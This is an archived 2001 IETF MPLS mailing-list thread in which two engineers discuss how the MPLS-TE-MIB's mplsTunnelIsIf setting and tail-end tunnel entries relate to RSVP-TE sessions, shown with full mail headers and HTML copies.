Patrick Dominic-Savio            E-mail: pdsavio@fore.com


From owner-mpls@UU.NET  Mon Oct 29 12:06:47 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA19995
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 12:06:47 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmwa28906;
	Mon, 29 Oct 2001 17:07:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmwa02510
	for mpls-outgoing; Mon, 29 Oct 2001 17:06:34 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmwa02358
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 17:06:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmwa16303
	for <mpls@uu.net>; Mon, 29 Oct 2001 17:06:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmwa27195
	for <mpls@uu.net>; Mon, 29 Oct 2001 17:05:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA12630 for <mpls@uu.net>; Mon, 29 Oct 2001 12:06:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA17445 for mpls@uu.net; Mon, 29 Oct 2001 12:06:02 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmwa29977
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 17:04:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmwa09712
	for <mpls@UU.NET>; Mon, 29 Oct 2001 17:04:13 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmwa24438
	for <mpls@UU.NET>; Mon, 29 Oct 2001 17:04:03 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA12397; Mon, 29 Oct 2001 12:04:12 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABF13649;
	Mon, 29 Oct 2001 12:04:10 -0500 (EST)
Message-Id: <4.3.2.7.2.20011029115734.027caf08@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Oct 2001 12:05:04 -0500
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Question on tunnel Interface (w.r.t TE MIB)
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <313680C9A886D511A06000204840E1CF4B84C9@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_446757723==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_446757723==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


         Lets first be specific about which document
we are referring to. It sounds like you are referring to
the MPLS-TE-MIB. If you are, then read on, otherwise
skip my reply.

>Here is my question:
>When you create a tunnel at the head-end, you can set the mplsTunnelIsIf
>variable to TRUE and this specifies that an interface will be created over
>the tunnel at the head-end.

         Not really. This means that the tunnel IS the ifIndex associated
with it.

>What is the procedure for identifying at the
>tail-end that this tunnel is to be used as an interface (for the purpose of
>receiving packets coming from the head-end)?.

         First, note that this functionality is optional in the MIB. Second,
this can be implemented only if your device creates an tunnel entry at
the egress. Note that this will be at the penultimate-hop, if that is
enabled.

>Should a tail-end manual entry be made in the TE table ahead of time with
>the mplsTunnelIsIf value set to TRUE?.

         Depends on your implementation. I suppose that you could manually
create such an entry, but I am not sure why. Some implementations represent
the tail of the tunnel the same way that other midpoints are represented 
(without
an ifIndex) except that the tunnelRole would be set to tail(3).

>If so, it does not seem like there is
>a (documented) way to uniquely identify an incoming signalling message (for
>tunnel termination) using the tail-end TE MIB specification. In other words
>how do I match a user created tail-end configuration with (say) a RSVP
>session that is terminating on this tail-end LSR.

         You should be able to figure this out given the RSVP-TE information
stored at the tail-end router. It should tell you that this RSVP-TE session
terminates at that LSR the same way that a mid-point LSR tells keeps
information about transit-sessions.

         --Tom



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_446757723==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Lets first
be specific about which document<br>
we are referring to. It sounds like you are referring to <br>
the MPLS-TE-MIB. If you are, then read on, otherwise <br>
skip my reply.<br>
<br>
<blockquote type=cite cite>Here is my question:<br>
When you create a tunnel at the head-end, you can set the
mplsTunnelIsIf<br>
variable to TRUE and this specifies that an interface will be created
over<br>
the tunnel at the head-end. </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Not
really. This means that the tunnel IS the ifIndex associated<br>
with it.<br>
<br>
<blockquote type=cite cite><font size=3>What is the procedure for
identifying at the<br>
tail-end that this tunnel is to be used as an interface (for the purpose
of<br>
receiving packets coming from the head-end)?.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>First,
note that this functionality is optional in the MIB. Second,<br>
this can be implemented only if your device creates an tunnel entry
at<br>
the egress. Note that this will be at the penultimate-hop, if that is
<br>
enabled.<br>
<br>
<blockquote type=cite cite><font size=3>Should a tail-end manual entry be
made in the TE table ahead of time with<br>
the mplsTunnelIsIf value set to TRUE?. </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Depends on
your implementation. I suppose that you could manually<br>
create such an entry, but I am not sure why. Some implementations
represent<br>
the tail of the tunnel the same way that other midpoints are represented
(without <br>
an ifIndex) except that the tunnelRole would be set to
<font size=3>tail(3)</font>.<br>
<br>
<blockquote type=cite cite><font size=3>If so, it does not seem like
there is<br>
a (documented) way to uniquely identify an incoming signalling message
(for<br>
tunnel termination) using the tail-end TE MIB specification. In other
words<br>
how do I match a user created tail-end configuration with (say) a
RSVP<br>
session that is terminating on this tail-end
LSR.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>You should
be able to figure this out given the RSVP-TE information<br>
stored at the tail-end router. It should tell you that this RSVP-TE
session <br>
terminates at that LSR the same way that a mid-point LSR tells 
keeps<br>
information about transit-sessions.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_446757723==_.ALT--



From owner-mpls@UU.NET  Mon Oct 29 16:30:34 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA27645
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 16:30:34 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmws21755;
	Mon, 29 Oct 2001 21:30:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmws15923
	for mpls-outgoing; Mon, 29 Oct 2001 21:30:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmws15918
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 21:30:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmwr07141
	for <mpls@UU.NET>; Mon, 29 Oct 2001 21:29:54 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmwr15913
	for <mpls@UU.NET>; Mon, 29 Oct 2001 21:29:43 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA07139;
	Mon, 29 Oct 2001 16:29:49 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA18317;
	Mon, 29 Oct 2001 16:29:51 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHL2GH2>; Mon, 29 Oct 2001 16:29:49 -0500
Message-ID: <313680C9A886D511A06000204840E1CF4B84CE@whq-msgusr-02.pit.comms.marconi.com>
From: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Date: Mon, 29 Oct 2001 16:29:46 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C160C0.D51B5490"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C160C0.D51B5490
Content-Type: text/plain;
	charset="iso-8859-1"

 

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Monday, October 29, 2001 12:05 PM
To: Dominic-Savio, Patrick
Cc: 'mpls@uu.net'
Subject: Re: Question on tunnel Interface (w.r.t TE MIB)




        Lets first be specific about which document
we are referring to. It sounds like you are referring to 
the MPLS-TE-MIB. If you are, then read on, otherwise 
skip my reply. 
 
Sorry I was not specific, but yes, I am referring to the MPLS-TE-MIB. 


Here is my question:
When you create a tunnel at the head-end, you can set the mplsTunnelIsIf
variable to TRUE and this specifies that an interface will be created over
the tunnel at the head-end. 


        Not really. This means that the tunnel IS the ifIndex associated
with it.



What is the procedure for identifying at the
tail-end that this tunnel is to be used as an interface (for the purpose of
receiving packets coming from the head-end)?.


        First, note that this functionality is optional in the MIB.  
 
Even if it is optional, I think it should be clearly specified how the
feature is to be supported using the MIB table(s).
 
 Second,
this can be implemented only if your device creates an tunnel entry at
the egress.  
Yes, of course.
 
 Note that this will be at the penultimate-hop, if that is 
enabled.
Why should it be at the penultimate-hop ?. RSVP signalling goes all the way
to the tail-end and the tail-end TE tunnel entry can be created there.
(Also, penultimate-hop popping is optional).

Should a tail-end manual entry be made in the TE table ahead of time with
the mplsTunnelIsIf value set to TRUE?.  
 
        Depends on your implementation. I suppose that you could manually
create such an entry, but I am not sure why. Some implementations represent
the tail of the tunnel the same way that other midpoints are represented
(without 
an ifIndex) except that the tunnelRole would be set to tail(3). 
 
The reason to create this entry would be so that the user can set the
mplsTunnelIsIf value to TRUE. So it is clear based on the configuration that
this terminating tunnel will be a terminating point of an unidirectional
interface.


If so, it does not seem like there is
a (documented) way to uniquely identify an incoming signalling message (for
tunnel termination) using the tail-end TE MIB specification. In other words
how do I match a user created tail-end configuration with (say) a RSVP
session that is terminating on this tail-end LSR.


        You should be able to figure this out given the RSVP-TE information
stored at the tail-end router. It should tell you that this RSVP-TE session 
terminates at that LSR the same way that a mid-point LSR tells keeps
information about transit-sessions. 
 
So you are saying that the terminating point of a tunnel interface is
identified on the terminating router based on the RSVP session information
for that tunnel?. But that is confusing if the user has to use the
mplsTunnelTable to configure interface capability on the head-end and use
some other table to configure the interface capability at the tail-end.
 
Let me give you an example, lets say you have router A and router B, with
some intermediate hops (that are of no consequence).
There is a tunnel (tunnel index 1) with  mplsTunnelIsIf set to TRUE
originating on Router A and terminating on Router B. Also mplsTunnelName for
tunnel 1 is "tunIntf1"
So you have an interface by the name of "tunIntf1" on Router A.
If you want to have an interface on Router B to receive packets sent from
Router A on tunIntf1, how do you set it up ? and where do you specify the
tunnel interface name on Router B?
 
Thanks
 
 
        --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C160C0.D51B5490
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial color=#0000ff size=2></FONT>&nbsp;</DIV>
<BLOCKQUOTE 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau 
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Monday, October 29, 2001 12:05 
  PM<BR><B>To:</B> Dominic-Savio, Patrick<BR><B>Cc:</B> 
  'mpls@uu.net'<BR><B>Subject:</B> Re: Question on tunnel Interface (w.r.t TE 
  MIB)<BR><BR></FONT></DIV><FONT size=3>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Lets 
  first be specific about which document<BR>we are referring to. It sounds like 
  you are referring to <BR>the MPLS-TE-MIB. If you are, then read on, otherwise 
  <BR>skip my reply.<SPAN class=466255620-29102001><FONT face=Arial 
  color=#0000ff size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001>&nbsp;</SPAN><BR><FONT face=Arial><FONT 
  color=#0000ff><FONT size=2><SPAN class=466255620-29102001>Sorry I was not 
  specific, but&nbsp;yes, I am referring&nbsp;to the 
  MPLS-TE-MIB.&nbsp;</SPAN></FONT></FONT></FONT><BR></DIV>
  <BLOCKQUOTE cite="" type="cite">Here is my question:<BR>When you create a 
    tunnel at the head-end, you can set the mplsTunnelIsIf<BR>variable to TRUE 
    and this specifies that an interface will be created over<BR>the tunnel at 
    the head-end. 
  </FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Not 
  really. This means that the tunnel IS the ifIndex associated<BR>with 
  it.<BR><BR>
  <BLOCKQUOTE cite="" type="cite"><FONT size=3>What is the procedure for 
    identifying at the<BR>tail-end that this tunnel is to be used as an 
    interface (for the purpose of<BR>receiving packets coming from the 
    head-end)?.</FONT></BLOCKQUOTE>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>First, 
  note that this functionality is optional in the MIB.&nbsp;<SPAN 
  class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff size=2>Even 
  if it is optional, I think it should be clearly specified&nbsp;how the feature 
  is to be supported using the MIB table(s).</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001>&nbsp;</SPAN>Second,<BR>this can be 
  implemented only if your device creates an tunnel entry at<BR>the 
  egress.&nbsp;<SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff size=2>Yes, 
  of course.</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001>&nbsp;</SPAN>Note that this will be at the 
  penultimate-hop, if that is <BR>enabled.<BR><SPAN 
  class=466255620-29102001><FONT face=Arial color=#0000ff size=2>Why should it 
  be at the penultimate-hop ?.&nbsp;RSVP signalling goes all the way to the 
  tail-end and the tail-end&nbsp;TE tunnel entry can be created 
  there.&nbsp;(Also, penultimate-hop popping is optional).</FONT></SPAN></DIV>
  <BLOCKQUOTE cite="" type="cite">
    <DIV><FONT size=3>Should a tail-end manual entry be made in the TE table 
    ahead of time with<BR>the mplsTunnelIsIf value set to 
    TRUE?.&nbsp;</FONT><SPAN class=466255620-29102001><FONT face=Arial 
    color=#0000ff size=2>&nbsp;</FONT></SPAN></DIV>
    <DIV><SPAN 
    class=466255620-29102001>&nbsp;</SPAN><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Depends 
    on your implementation. I suppose that you could manually<BR>create such an 
    entry, but I am not sure why. Some implementations represent<BR>the tail of 
    the tunnel the same way that other midpoints are represented (without <BR>an 
    ifIndex) except that the tunnelRole would be set to <FONT 
    size=3>tail(3)</FONT>.<SPAN class=466255620-29102001><FONT face=Arial 
    color=#0000ff size=2>&nbsp;</FONT></SPAN></DIV>
    <DIV><SPAN class=466255620-29102001></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
    size=2>The reason to create this entry would be so that the user can set 
    the&nbsp;</FONT>&nbsp;<FONT color=#0000ff>mplsTunnelIsIf value to TRUE. So 
    it is clear based on the configuration that this terminating tunnel will be 
    a terminating point of an unidirectional 
  interface.</FONT></SPAN><BR></DIV></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite">If so, it does not seem like there is<BR>a 
    (documented) way to uniquely identify an incoming signalling message 
    (for<BR>tunnel termination) using the tail-end TE MIB specification. In 
    other words<BR>how do I match a user created tail-end configuration with 
    (say) a RSVP<BR>session that is terminating on this tail-end LSR.</BLOCKQUOTE>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>You 
  should be able to figure this out given the RSVP-TE information<BR>stored at 
  the tail-end router. It should tell you that this RSVP-TE session 
  <BR>terminates at that LSR the same way that a mid-point LSR tells 
  keeps<BR>information about transit-sessions.<SPAN 
  class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff size=2>So 
  you are saying that the&nbsp;terminating point of a <STRONG>tunnel 
  interface</STRONG> is identified on the terminating router based on the RSVP 
  session information for that tunnel?. But that is confusing if the user has to 
  use the mplsTunnelTable to configure interface capability on the head-end and 
  use some other table to configure the interface capability at the 
  tail-end.</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff size=2>Let 
  me give you an example,&nbsp;lets say you have router A and router B, with 
  some intermediate hops (that are of no consequence).</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2>There is a tunnel (tunnel index 1)&nbsp;with&nbsp;</FONT>&nbsp;<FONT 
  color=#0000ff>mplsTunnelIsIf&nbsp;set to TRUE&nbsp;originating on Router 
  A&nbsp;and terminating on Router B. Also mplsTunnelName for tunnel 1 is 
  "tunIntf1"</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT color=#0000ff>So you have an 
  interface by the name of "tunIntf1" on Router A.</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT color=#0000ff>If you want to have an 
  interface on Router B to receive packets sent from Router A on tunIntf1, how 
  do you set it up ? and where do you specify the tunnel interface name on 
  Router B?</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001><FONT 
  color=#0000ff></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=466255620-29102001><FONT 
  color=#0000ff>Thanks</FONT></SPAN></DIV>
  <DIV><SPAN class=466255620-29102001></SPAN><SPAN 
  class=466255620-29102001><FONT face=Arial color=#0000ff 
  size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN 
  class=466255620-29102001>&nbsp;</SPAN><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR></DIV>
  <DIV>------------------------------------------------------------------------</DIV>Mathematics 
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C160C0.D51B5490--


From owner-mpls@UU.NET  Mon Oct 29 16:53:32 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28346
	for <mpls-archive@lists.ietf.org>; Mon, 29 Oct 2001 16:53:32 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmwt26149;
	Mon, 29 Oct 2001 21:53:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmwt17824
	for mpls-outgoing; Mon, 29 Oct 2001 21:53:08 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmwt17818
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 21:53:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmwt23141
	for <mpls@uu.net>; Mon, 29 Oct 2001 21:53:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmwt12911
	for <mpls@uu.net>; Mon, 29 Oct 2001 21:53:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA22072 for <mpls@uu.net>; Mon, 29 Oct 2001 16:53:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA01364 for mpls@uu.net; Mon, 29 Oct 2001 16:53:01 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmwt17772
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 29 Oct 2001 21:52:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmwt03942
	for <mpls@UU.NET>; Mon, 29 Oct 2001 21:50:05 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmwt08092
	for <mpls@UU.NET>; Mon, 29 Oct 2001 21:50:23 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA21715; Mon, 29 Oct 2001 16:50:03 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABF19018;
	Mon, 29 Oct 2001 16:50:01 -0500 (EST)
Message-Id: <4.3.2.7.2.20011029164114.01bd4c58@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Oct 2001 16:50:55 -0500
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <313680C9A886D511A06000204840E1CF4B84CE@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_463908895==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_463908895==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>  Note that this will be at the penultimate-hop, if that is
>enabled.
>Why should it be at the penultimate-hop ?. RSVP signalling goes all the 
>way to the tail-end and the tail-end TE tunnel entry can be created there. 
>(Also, penultimate-hop popping is optional).

         I was thinking of the LSR MIB this morning at the same time.
You are right.
>>Should a tail-end manual entry be made in the TE table ahead of time with
>>the mplsTunnelIsIf value set to TRUE?.
>>
>>         Depends on your implementation. I suppose that you could manually
>>create such an entry, but I am not sure why. Some implementations represent
>>the tail of the tunnel the same way that other midpoints are represented 
>>(without
>>an ifIndex) except that the tunnelRole would be set to tail(3).
>>
>>The reason to create this entry would be so that the user can set 
>>the  mplsTunnelIsIf value to TRUE. So it is clear based on the 
>>configuration that this terminating tunnel will be a terminating point of 
>>an unidirectional interface.
>>If so, it does not seem like there is
>>a (documented) way to uniquely identify an incoming signalling message (for
>>tunnel termination) using the tail-end TE MIB specification. In other words
>>how do I match a user created tail-end configuration with (say) a RSVP
>>session that is terminating on this tail-end LSR.
>         You should be able to figure this out given the RSVP-TE information
>stored at the tail-end router. It should tell you that this RSVP-TE session
>terminates at that LSR the same way that a mid-point LSR tells keeps
>information about transit-sessions.
>
>So you are saying that the terminating point of a tunnel interface is 
>identified on the
>terminating router based on the RSVP session information for that tunnel?.

         Most if not all MPLS implementations that I know of only require 
the operator
to configure the tunnel at the head end. If your implementation wishes to 
create an
interface for the tail end of the tunnel, it can do this based on the 
acceptance of
an RSVP-TE session at the tail point, or via manual configuration. However, 
making
this ifIndex consistent with the one at the head automatically is something 
that I think you
will have to do manually.
>But that is confusing if the user has to use the mplsTunnelTable to 
>configure interface
>capability on the head-end and use some other table to configure the 
>interface capability
>at the tail-end.

         How else would you propose getting that information to the tail? 
The only way I see
doing this is manually. I don't believe that there is a way of getting this 
information
to the tail using RSVP-TE, but I could be wrong.

         --Tom



>Let me give you an example, lets say you have router A and router B, with 
>some intermediate hops (that are of no consequence).
>There is a tunnel (tunnel index 1) with  mplsTunnelIsIf set to TRUE 
>originating on Router A and terminating on Router B. Also mplsTunnelName 
>for tunnel 1 is "tunIntf1"
>So you have an interface by the name of "tunIntf1" on Router A.
>If you want to have an interface on Router B to receive packets sent from 
>Router A on tunIntf1, how do you set it up ? and where do you specify the 
>tunnel interface name on Router B?


>
>Thanks
>
>
>         --Tom
>
>
>
>
>
>------------------------------------------------------------------------
>Mathematics is the supreme nostalgia of our time.



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_463908895==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><blockquote type=cite cite>
<dl>
<dd>&nbsp;Note that this will be at the penultimate-hop, if that is 
<dd>enabled.</font><font face="arial" size=2 color="#0000FF">
<dd>Why should it be at the penultimate-hop ?. RSVP signalling goes all
the way to the tail-end and the tail-end TE tunnel entry can be created
there. (Also, penultimate-hop popping is optional).</font></blockquote>
</dl><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I was
thinking of the LSR MIB this morning at the same time.<br>
You are right.<br>
<blockquote type=cite cite><blockquote type=cite cite>
<dl><font size=3>
<dd>Should a tail-end manual entry be made in the TE table ahead of time
with
<dd>the mplsTunnelIsIf value set to TRUE?.
</font><font face="arial" size=2 color="#0000FF"> </font><font size=3>
<dd>&nbsp;
<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Depends
on your implementation. I suppose that you could manually
